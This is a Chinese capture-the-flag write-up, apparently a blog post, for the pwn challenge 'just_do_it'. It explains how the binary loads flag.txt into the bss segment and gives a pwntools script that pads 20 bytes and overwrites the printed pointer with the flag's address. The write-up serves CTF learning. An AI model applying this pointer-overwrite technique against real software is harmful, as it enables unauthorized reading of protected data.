美文网首页
一_4.rd_2017-just_do_it_32

一_4.rd_2017-just_do_it_32

作者: Zero_0_0 | 来源:发表于2019-05-04 14:49 被阅读0次

注意 :
不是每一个pwn题都是溢出后,我们可以利用的。 在cycly后你会发现这个程序没有造成溢出,我们看到flag.txt,首先想到ret到我们的flag处(记住这没有溢出)。 我们发现了put函数,我们查看栈内的情况发现put函数,和我们s输入之间相差20,我们可以将数据填充,然后put出我们flag.txt。 put的地址需要思考.....

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    perror("file open error.\n");
    exit(0);
  }
  if ( !fgets(flag, 48, stream) )    //如果不等于条件,文件打开失败, 反之
  {
    perror("file read error.\n");
    exit(0);
  }

注:程序读取了本地flag.txt文件 将flag里面的内容存储到了 bss段里面去了。 我们putbss段的内容就ok了!

EXP
from pwn import*


p = process('./just_do_it')
bss_flag_addr = 0x0804A080

#gdb.attach(p)
payload = 'A'*20   #s和put相差 20 
#payload += p32(0)   #这里没有覆盖ebp
payload += p32(bss_flag_addr)   #bss段存储flag内容的地方

p.sendline(payload)
p.interactive()

相关文章

  • 一_4.rd_2017-just_do_it_32

    注意 :不是每一个pwn题都是溢出后,我们可以利用的。 在cycly后你会发现这个程序没有造成溢出,我们看...

  • 。一一,一,一,一。

    一,、

  • 一 一

    2018年6月22日 星期五 雨 一水一万物 一星一宇宙 一字一文章 一书一世界 一读一微笑 一赞一知音

  • 一 一

    杨德昌《一 一》,早年曾看过一遍。 婷婷短发,白净,蓝色衬衫,学生裙,黑皮鞋,白袜子,学习很好的中学女生。温柔,懂...

  • 一 一

    给自己无处安放的灵魂找到了家!简书,我的新写作时光!继续,在流年里拾荒,禅落一身的光!

  • 一.一

  • 一.一

    一节车厢,一只行囊,肯为当时一念疯狂。 一根点燃,一缕惆怅,不许未来一片迷茫。 一眼远看,一众不详,哪知各位一去何...

  • 一(一)

    我叫一,总有人喜欢在背后说我,因为很多时候我都是自己一个人。很多人都说我很孤单,看起来很可怜,但我觉得很奇怪,他们...

  • (一-一)

    白天不看书晚上开灯照亮全宿舍的sb们该睡了

  • 一梦一寻(一)

    01 你在想什么?宝贝。” 一个磁性而温柔的声音传来。一双温柔的手轻抚我的头,这温暖使我从漫天的思绪中挣脱出来。 ...

网友评论

      本文标题:一_4.rd_2017-just_do_it_32

      本文链接:https://www.haomeiwen.com/subject/bupxoqtx.html